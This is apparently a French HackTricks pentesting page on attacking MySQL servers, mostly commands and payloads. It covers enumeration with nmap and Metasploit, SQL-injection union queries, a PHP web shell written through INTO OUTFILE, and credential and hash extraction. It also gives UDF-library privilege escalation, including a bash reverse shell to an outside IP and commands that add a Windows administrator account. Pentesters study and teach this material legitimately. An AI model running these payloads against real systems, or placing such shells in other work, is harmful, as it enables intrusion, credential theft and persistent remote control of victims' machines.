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# 3306 - Pentesting Mysql
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{% hint style="success" %}
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< details >
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< / details >
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{% endhint %}
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< figure > < img src = "https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt = "" > < figcaption > < / figcaption > < / figure >
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[**RootedCON** ](https://www.rootedcon.com/ ) est l'événement de cybersécurité le plus pertinent en **Espagne** et l'un des plus importants en **Europe** . Avec **la mission de promouvoir les connaissances techniques** , ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans chaque discipline.
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{% embed url="https://www.rootedcon.com/" %}
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## **Informations de base**
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**MySQL** peut être décrit comme un système de gestion de base de données relationnelle (RDBMS) open source qui est disponible sans frais. Il fonctionne sur le **Structured Query Language (SQL)** , permettant la gestion et la manipulation des bases de données.
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**Port par défaut :** 3306
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```
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3306/tcp open mysql
```
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## **Connecter**
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### **Local**
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```bash
mysql -u root # Connect to root without password
mysql -u root -p # A password will be asked (check someone)
```
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### À distance
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```bash
mysql -h < Hostname > -u root
mysql -h < Hostname > -u root@localhost
```
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## External Enumeration
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Certaines des actions d'énumération nécessitent des identifiants valides.
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```bash
nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 < IP >
msf> use auxiliary/scanner/mysql/mysql_version
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msf> use auxiliary/scanner/mysql/mysql_authbypass_hashdump
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msf> use auxiliary/scanner/mysql/mysql_hashdump #Creds
msf> use auxiliary/admin/mysql/mysql_enum #Creds
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msf> use auxiliary/scanner/mysql/mysql_schemadump #Creds
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msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds
```
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### [**Brute force**](../generic-methodologies-and-resources/brute-force.md#mysql)
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### Écrire des données binaires quelconques
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```bash
CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY)
CONVERT(from_base64("aG9sYWFhCg=="), BINARY)
```
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## **Commandes MySQL**
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```bash
show databases;
use < database > ;
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connect < database > ;
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show tables;
describe < table_name > ;
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show columns from < table > ;
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select version(); #version
select @@version(); #version
select user(); #User
select database(); #database name
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#Get a shell with the mysql client user
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\! sh
#Basic MySQLi
Union Select 1,2,3,4,group_concat(0x7c,table_name,0x7C) from information_schema.tables
Union Select 1,2,3,4,column_name from information_schema.columns where table_name="< TABLE NAME > "
#Read & Write
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## Yo need FILE privilege to read & write to files.
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select load_file('/var/lib/mysql-files/key.txt'); #Read file
select 1,2,"<?php echo shell_exec($_GET['c']);?> ",4 into OUTFILE 'C:/xampp/htdocs/back.php'
#Try to change MySQL root password
UPDATE mysql.user SET Password=PASSWORD('MyNewPass') WHERE User='root';
UPDATE mysql.user SET authentication_string=PASSWORD('MyNewPass') WHERE User='root';
FLUSH PRIVILEGES;
quit;
```
```bash
mysql -u username -p < manycommands.sql #A file with all the commands you want to execute
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mysql -u root -h 127.0.0.1 -e 'show databases;'
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```
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### Énumération des autorisations MySQL
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```sql
#Mysql
SHOW GRANTS [FOR user];
SHOW GRANTS;
SHOW GRANTS FOR 'root'@'localhost';
SHOW GRANTS FOR CURRENT_USER();
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# Get users, permissions & hashes
SELECT * FROM mysql.user;
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#From DB
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select * from mysql.user where user='root';
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## Get users with file_priv
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select user,file_priv from mysql.user where file_priv='Y';
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## Get users with Super_priv
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select user,Super_priv from mysql.user where Super_priv='Y';
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# List functions
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION';
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#@ Functions not from sys. db
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SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION' AND routine_schema!='sys';
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```
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Vous pouvez voir dans la documentation la signification de chaque privilège : [https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html ](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv\_execute )
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### Exécution de code à distance via un fichier MySQL
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{% content-ref url="../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md" %}
[mysql-ssrf.md ](../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md )
{% endcontent-ref %}
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## Lecture de fichiers arbitraires par le client MySQL
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En fait, lorsque vous essayez de **charger des données locales dans une table** à partir du **contenu d'un fichier** , le serveur MySQL ou MariaDB demande au **client de le lire** et d'envoyer le contenu. **Ensuite, si vous pouvez manipuler un client MySQL pour vous connecter à votre propre serveur MySQL, vous pouvez lire des fichiers arbitraires.** \
Veuillez noter que c'est le comportement en utilisant :
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```bash
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
```
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(Notice the "local" word)\
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Parce que sans le "local" vous pouvez obtenir :
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```bash
mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
```
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**PoC initiale :** [**https://github.com/allyshka/Rogue-MySql-Server** ](https://github.com/allyshka/Rogue-MySql-Server )\
**Dans cet article, vous pouvez voir une description complète de l'attaque et même comment l'étendre à RCE :** [**https://paper.seebug.org/1113/** ](https://paper.seebug.org/1113/ )\
**Ici, vous pouvez trouver un aperçu de l'attaque :** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/** ](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/ )
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< figure > < img src = "https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt = "" > < figcaption > < / figcaption > < / figure >
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[**RootedCON**](https://www.rootedcon.com/) est l'événement de cybersécurité le plus pertinent en **Espagne** et l'un des plus importants en **Europe** . Avec **la mission de promouvoir les connaissances techniques** , ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans chaque discipline.
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{% embed url="https://www.rootedcon.com/" %}
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## POST
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### Utilisateur Mysql
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Il sera très intéressant si mysql fonctionne en tant que **root** :
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```bash
cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user"
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systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1
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```
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#### Paramètres dangereux de mysqld.cnf
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Dans la configuration des services MySQL, divers paramètres sont utilisés pour définir son fonctionnement et ses mesures de sécurité :
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* Le paramètre ** `user` ** est utilisé pour désigner l'utilisateur sous lequel le service MySQL sera exécuté.
* **`password`** est appliqué pour établir le mot de passe associé à l'utilisateur MySQL.
* **`admin_address`** spécifie l'adresse IP qui écoute les connexions TCP/IP sur l'interface réseau administrative.
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* La variable ** `debug` ** indique les configurations de débogage actuelles, y compris des informations sensibles dans les journaux.
* **`sql_warnings`** gère si des chaînes d'information sont générées pour les instructions INSERT à une seule ligne lorsque des avertissements apparaissent, contenant des données sensibles dans les journaux.
* Avec ** `secure_file_priv` **, la portée des opérations d'importation et d'exportation de données est contrainte pour améliorer la sécurité.
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### Escalade de privilèges
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```bash
# Get current user (an all users) privileges and hashes
use mysql;
select user();
select user,password,create_priv,insert_priv,update_priv,alter_priv,delete_priv,drop_priv from user;
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# Get users, permissions & creds
SELECT * FROM mysql.user;
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mysql -u root --password=< PASSWORD > -e "SELECT * FROM mysql.user;"
# Create user and give privileges
create user test identified by 'test';
grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mysql' WITH GRANT OPTION;
# Get a shell (with your permissions, usefull for sudo/suid privesc)
\! sh
```
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### Escalade de privilèges via bibliothèque
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Si le **serveur mysql fonctionne en tant que root** (ou un autre utilisateur avec plus de privilèges), vous pouvez le faire exécuter des commandes. Pour cela, vous devez utiliser des **fonctions définies par l'utilisateur** . Et pour créer une fonction définie par l'utilisateur, vous aurez besoin d'une **bibliothèque** pour le système d'exploitation qui exécute mysql.
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La bibliothèque malveillante à utiliser peut être trouvée à l'intérieur de sqlmap et à l'intérieur de metasploit en faisant ** `locate "*lib_mysqludf_sys*"` **. Les fichiers ** `.so` ** sont des bibliothèques **linux** et les ** `.dll` ** sont celles de **Windows** , choisissez celle dont vous avez besoin.
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Si vous **n'avez pas** ces bibliothèques, vous pouvez soit **les chercher** , soit télécharger ce [**code C linux** ](https://www.exploit-db.com/exploits/1518 ) et **le compiler à l'intérieur de la machine linux vulnérable** :
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```bash
gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
```
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Maintenant que vous avez la bibliothèque, connectez-vous à Mysql en tant qu'utilisateur privilégié (root ?) et suivez les étapes suivantes :
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#### Linux
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```sql
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# Use a database
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use mysql;
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# Create a table to load the library and move it to the plugins dir
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create table npn(line blob);
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# Load the binary library inside the table
## You might need to change the path and file name
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insert into npn values(load_file('/tmp/lib_mysqludf_sys.so'));
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# Get the plugin_dir path
show variables like '%plugin%';
# Supposing the plugin dir was /usr/lib/x86_64-linux-gnu/mariadb19/plugin/
# dump in there the library
select * from npn into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/lib_mysqludf_sys.so';
# Create a function to execute commands
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create function sys_exec returns integer soname 'lib_mysqludf_sys.so';
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# Execute commands
select sys_exec('id > /tmp/out.txt; chmod 777 /tmp/out.txt');
select sys_exec('bash -c "bash -i >& /dev/tcp/10.10.14.66/1234 0>&1"');
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```
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#### Windows
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```sql
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# CHech the linux comments for more indications
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USE mysql;
CREATE TABLE npn(line blob);
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INSERT INTO npn values(load_file('C://temp//lib_mysqludf_sys.dll'));
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show variables like '%plugin%';
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SELECT * FROM mysql.npn INTO DUMPFILE 'c://windows//system32//lib_mysqludf_sys_32.dll';
CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll';
SELECT sys_exec("net user npn npn12345678 /add");
SELECT sys_exec("net localgroup Administrators npn /add");
```
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### Extraction des identifiants MySQL à partir de fichiers
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À l'intérieur de _/etc/mysql/debian.cnf_ , vous pouvez trouver le **mot de passe en clair** de l'utilisateur **debian-sys-maint** .
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```bash
cat /etc/mysql/debian.cnf
```
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Vous pouvez **utiliser ces identifiants pour vous connecter à la base de données mysql** .
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À l'intérieur du fichier : _/var/lib/mysql/mysql/user.MYD_ vous pouvez trouver **tous les hachages des utilisateurs MySQL** (ceux que vous pouvez extraire de mysql.user à l'intérieur de la base de données)_._
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Vous pouvez les extraire en faisant :
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```bash
grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"
```
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### Activer la journalisation
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Vous pouvez activer la journalisation des requêtes mysql dans `/etc/mysql/my.cnf` en décommentant les lignes suivantes :
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![](< .. / . gitbook / assets / image ( 899 ) . png > )
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### Fichiers utiles
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Fichiers de configuration
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* windows \*
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* config.ini
* my.ini
* windows\my.ini
* winnt\my.ini
* \<InstDir>/mysql/data/
* unix
* my.cnf
* /etc/my.cnf
* /etc/mysql/my.cnf
* /var/lib/mysql/my.cnf
* \~/.my.cnf
* /etc/my.cnf
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* Historique des commandes
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* \~/.mysql.history
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* Fichiers journaux
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* connections.log
* update.log
* common.log
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## Base de données/tables MySQL par défaut
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{% tabs %}
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{% tab title="information_schema" %}
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ALL\_PLUGINS\
APPLICABLE\_ROLES\
CHARACTER\_SETS\
CHECK\_CONSTRAINTS\
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COLLATIONS\
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COLLATION\_CHARACTER\_SET\_APPLICABILITY\
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COLUMNS\
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COLUMN\_PRIVILEGES\
ENABLED\_ROLES\
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ENGINES\
EVENTS\
FILES\
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GLOBAL\_STATUS\
GLOBAL\_VARIABLES\
KEY\_COLUMN\_USAGE\
KEY\_CACHES\
OPTIMIZER\_TRACE\
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PARAMETERS\
PARTITIONS\
PLUGINS\
PROCESSLIST\
PROFILING\
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REFERENTIAL\_CONSTRAINTS\
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ROUTINES\
SCHEMATA\
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SCHEMA\_PRIVILEGES\
SESSION\_STATUS\
SESSION\_VARIABLES\
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STATISTICS\
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SYSTEM\_VARIABLES\
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TABLES\
TABLESPACES\
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TABLE\_CONSTRAINTS\
TABLE\_PRIVILEGES\
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TRIGGERS\
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USER\_PRIVILEGES\
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VIEWS\
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INNODB\_LOCKS\
INNODB\_TRX\
INNODB\_SYS\_DATAFILES\
INNODB\_FT\_CONFIG\
INNODB\_SYS\_VIRTUAL\
INNODB\_CMP\
INNODB\_FT\_BEING\_DELETED\
INNODB\_CMP\_RESET\
INNODB\_CMP\_PER\_INDEX\
INNODB\_CMPMEM\_RESET\
INNODB\_FT\_DELETED\
INNODB\_BUFFER\_PAGE\_LRU\
INNODB\_LOCK\_WAITS\
INNODB\_TEMP\_TABLE\_INFO\
INNODB\_SYS\_INDEXES\
INNODB\_SYS\_TABLES\
INNODB\_SYS\_FIELDS\
INNODB\_CMP\_PER\_INDEX\_RESET\
INNODB\_BUFFER\_PAGE\
INNODB\_FT\_DEFAULT\_STOPWORD\
INNODB\_FT\_INDEX\_TABLE\
INNODB\_FT\_INDEX\_CACHE\
INNODB\_SYS\_TABLESPACES\
INNODB\_METRICS\
INNODB\_SYS\_FOREIGN\_COLS\
INNODB\_CMPMEM\
INNODB\_BUFFER\_POOL\_STATS\
INNODB\_SYS\_COLUMNS\
INNODB\_SYS\_FOREIGN\
INNODB\_SYS\_TABLESTATS\
GEOMETRY\_COLUMNS\
SPATIAL\_REF\_SYS\
CLIENT\_STATISTICS\
INDEX\_STATISTICS\
USER\_STATISTICS\
INNODB\_MUTEXES\
TABLE\_STATISTICS\
INNODB\_TABLESPACES\_ENCRYPTION\
user\_variables\
INNODB\_TABLESPACES\_SCRUBBING\
INNODB\_SYS\_SEMAPHORE\_WAITS
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{% endtab %}
{% tab title="mysql" %}
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columns\_priv\
column\_stats\
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db\
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engine\_cost\
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event\
func\
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general\_log\
gtid\_executed\
gtid\_slave\_pos\
help\_category\
help\_keyword\
help\_relation\
help\_topic\
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host\
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index\_stats\
innodb\_index\_stats\
innodb\_table\_stats\
ndb\_binlog\_index\
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plugin\
proc\
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procs\_priv\
proxies\_priv\
roles\_mapping\
server\_cost\
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servers\
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slave\_master\_info\
slave\_relay\_log\_info\
slave\_worker\_info\
slow\_log\
tables\_priv\
table\_stats\
time\_zone\
time\_zone\_leap\_second\
time\_zone\_name\
time\_zone\_transition\
time\_zone\_transition\_type\
transaction\_registry\
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user
{% endtab %}
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{% tab title="performance_schema" %}
accounts\
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cond\_instances\
events\_stages\_current\
events\_stages\_history\
events\_stages\_history\_long\
events\_stages\_summary\_by\_account\_by\_event\_name\
events\_stages\_summary\_by\_host\_by\_event\_name\
events\_stages\_summary\_by\_thread\_by\_event\_name\
events\_stages\_summary\_by\_user\_by\_event\_name\
events\_stages\_summary\_global\_by\_event\_name\
events\_statements\_current\
events\_statements\_history\
events\_statements\_history\_long\
events\_statements\_summary\_by\_account\_by\_event\_name\
events\_statements\_summary\_by\_digest\
events\_statements\_summary\_by\_host\_by\_event\_name\
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events\_statements\_summary\_by\_program\
events\_statements\_summary\_by\_thread\_by\_event\_name\
events\_statements\_summary\_by\_user\_by\_event\_name\
events\_statements\_summary\_global\_by\_event\_name\
events\_transactions\_current\
events\_transactions\_history\
events\_transactions\_history\_long\
events\_transactions\_summary\_by\_account\_by\_event\_name\
events\_transactions\_summary\_by\_host\_by\_event\_name\
events\_transactions\_summary\_by\_thread\_by\_event\_name\
events\_transactions\_summary\_by\_user\_by\_event\_name\
events\_transactions\_summary\_global\_by\_event\_name\
events\_waits\_current\
events\_waits\_history\
events\_waits\_history\_long\
events\_waits\_summary\_by\_account\_by\_event\_name\
events\_waits\_summary\_by\_host\_by\_event\_name\
events\_waits\_summary\_by\_instance\
events\_waits\_summary\_by\_thread\_by\_event\_name\
events\_waits\_summary\_by\_user\_by\_event\_name\
events\_waits\_summary\_global\_by\_event\_name\
file\_instances\
file\_summary\_by\_event\_name\
file\_summary\_by\_instance\
global\_status\
global\_variables\
host\_cache\
hosts\
memory\_summary\_by\_account\_by\_event\_name\
memory\_summary\_by\_host\_by\_event\_name\
memory\_summary\_by\_thread\_by\_event\_name\
memory\_summary\_by\_user\_by\_event\_name\
memory\_summary\_global\_by\_event\_name\
metadata\_locks\
mutex\_instances\
objects\_summary\_global\_by\_type\
performance\_timers\
prepared\_statements\_instances\
replication\_applier\_configuration\
replication\_applier\_status\
replication\_applier\_status\_by\_coordinator\
replication\_applier\_status\_by\_worker\
replication\_connection\_configuration\
replication\_connection\_status\
replication\_group\_member\_stats\
replication\_group\_members\
rwlock\_instances\
session\_account\_connect\_attrs\
session\_connect\_attrs\
session\_status\
session\_variables\
setup\_actors\
setup\_consumers\
setup\_instruments\
setup\_objects\
setup\_timers\
socket\_instances\
socket\_summary\_by\_event\_name\
socket\_summary\_by\_instance\
status\_by\_account\
status\_by\_host\
status\_by\_thread\
status\_by\_user\
table\_handles\
table\_io\_waits\_summary\_by\_index\_usage\
table\_io\_waits\_summary\_by\_table\
table\_lock\_waits\_summary\_by\_table\
threads\
user\_variables\_by\_thread\
users\
variables\_by\_thread
{% endtab %}
{% tab title="sys" %}
host\_summary\
host\_summary\_by\_file\_io\
host\_summary\_by\_file\_io\_type\
host\_summary\_by\_stages\
host\_summary\_by\_statement\_latency\
host\_summary\_by\_statement\_type\
innodb\_buffer\_stats\_by\_schema\
innodb\_buffer\_stats\_by\_table\
innodb\_lock\_waits\
io\_by\_thread\_by\_latency\
io\_global\_by\_file\_by\_bytes\
io\_global\_by\_file\_by\_latency\
io\_global\_by\_wait\_by\_bytes\
io\_global\_by\_wait\_by\_latency\
latest\_file\_io\
memory\_by\_host\_by\_current\_bytes\
memory\_by\_thread\_by\_current\_bytes\
memory\_by\_user\_by\_current\_bytes\
memory\_global\_by\_current\_bytes\
memory\_global\_total\
metrics\
processlist\
ps\_check\_lost\_instrumentation\
schema\_auto\_increment\_columns\
schema\_index\_statistics\
schema\_object\_overview\
schema\_redundant\_indexes\
schema\_table\_lock\_waits\
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schema\_table\_statistics\
schema\_table\_statistics\_with\_buffer\
schema\_tables\_with\_full\_table\_scans\
schema\_unused\_indexes\
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session\
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session\_ssl\_status\
statement\_analysis\
statements\_with\_errors\_or\_warnings\
statements\_with\_full\_table\_scans\
statements\_with\_runtimes\_in\_95th\_percentile\
statements\_with\_sorting\
statements\_with\_temp\_tables\
sys\_config\
user\_summary\
user\_summary\_by\_file\_io\
user\_summary\_by\_file\_io\_type\
user\_summary\_by\_stages\
user\_summary\_by\_statement\_latency\
user\_summary\_by\_statement\_type\
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version\
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wait\_classes\_global\_by\_avg\_latency\
wait\_classes\_global\_by\_latency\
waits\_by\_host\_by\_latency\
waits\_by\_user\_by\_latency\
waits\_global\_by\_latency\
x$host\_summary\
x$host\_summary\_by\_file\_io\
x$host\_summary\_by\_file\_io\_type\
x$host\_summary\_by\_stages\
x$host\_summary\_by\_statement\_latency\
x$host\_summary\_by\_statement\_type\
x$innodb\_buffer\_stats\_by\_schema\
x$innodb\_buffer\_stats\_by\_table\
x$innodb\_lock\_waits\
x$io\_by\_thread\_by\_latency\
x$io\_global\_by\_file\_by\_bytes\
x$io\_global\_by\_file\_by\_latency\
x$io\_global\_by\_wait\_by\_bytes\
x$io\_global\_by\_wait\_by\_latency\
x$latest\_file\_io\
x$memory\_by\_host\_by\_current\_bytes\
x$memory\_by\_thread\_by\_current\_bytes\
x$memory\_by\_user\_by\_current\_bytes\
x$memory\_global\_by\_current\_bytes\
x$memory\_global\_total\
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x$processlist\
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x$ps\_digest\_95th\_percentile\_by\_avg\_us\
x$ps\_digest\_avg\_latency\_distribution\
x$ps\_schema\_table\_statistics\_io\
x$schema\_flattened\_keys\
x$schema\_index\_statistics\
x$schema\_table\_lock\_waits\
x$schema\_table\_statistics\
x$schema\_table\_statistics\_with\_buffer\
x$schema\_tables\_with\_full\_table\_scans\
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x$session\
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x$statement\_analysis\
x$statements\_with\_errors\_or\_warnings\
x$statements\_with\_full\_table\_scans\
x$statements\_with\_runtimes\_in\_95th\_percentile\
x$statements\_with\_sorting\
x$statements\_with\_temp\_tables\
x$user\_summary\
x$user\_summary\_by\_file\_io\
x$user\_summary\_by\_file\_io\_type\
x$user\_summary\_by\_stages\
x$user\_summary\_by\_statement\_latency\
x$user\_summary\_by\_statement\_type\
x$wait\_classes\_global\_by\_avg\_latency\
x$wait\_classes\_global\_by\_latency\
x$waits\_by\_host\_by\_latency\
x$waits\_by\_user\_by\_latency\
x$waits\_global\_by\_latency
2024-05-05 22:09:31 +00:00
{% endtab %}
{% endtabs %}
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## Commandes automatiques HackTricks
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```
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Protocol_Name: MySql #Protocol Abbreviation if there is one.
Port_Number: 3306 #Comma separated if there is more than one.
Protocol_Description: MySql #Protocol Abbreviation Spelled out
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Entry_1:
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Name: Notes
Description: Notes for MySql
Note: |
MySQL is a freely available open source Relational Database Management System (RDBMS) that uses Structured Query Language (SQL).
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https://book.hacktricks.xyz/pentesting/pentesting-mysql
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Entry_2:
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Name: Nmap
Description: Nmap with MySql Scripts
Command: nmap --script=mysql-databases.nse,mysql-empty-password.nse,mysql-enum.nse,mysql-info.nse,mysql-variables.nse,mysql-vuln-cve2012-2122.nse {IP} -p 3306
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Entry_3:
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Name: MySql
Description: Attempt to connect to mysql server
Command: mysql -h {IP} -u {Username}@localhost
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Entry_4:
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Name: MySql consolesless mfs enumeration
Description: MySql enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' & & msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' & & msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' & & msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' & & msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'
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```
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< figure > < img src = "https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt = "" > < figcaption > < / figcaption > < / figure >
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[**RootedCON** ](https://www.rootedcon.com/ ) est l'événement de cybersécurité le plus pertinent en **Espagne** et l'un des plus importants en **Europe** . Avec **la mission de promouvoir les connaissances techniques** , ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans chaque discipline.
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{% embed url="https://www.rootedcon.com/" %}
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{% hint style="success" %}
Apprenez et pratiquez le Hacking AWS :< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > \
Apprenez et pratiquez le Hacking GCP : < img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > [**HackTricks Training GCP Red Team Expert (GRTE)**< img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > ](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
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< details >
2024-02-08 22:26:45 +00:00
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< summary > Soutenir HackTricks< / summary >
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2024-07-19 11:39:33 +00:00
* Vérifiez les [**plans d'abonnement** ](https://github.com/sponsors/carlospolop ) !
* **Rejoignez le** 💬 [**groupe Discord** ](https://discord.gg/hRep4RUj7f ) ou le [**groupe telegram** ](https://t.me/peass ) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live** ](https://twitter.com/hacktricks\_live )**.**
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) et [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) dépôts github.
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< / details >
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{% endhint %}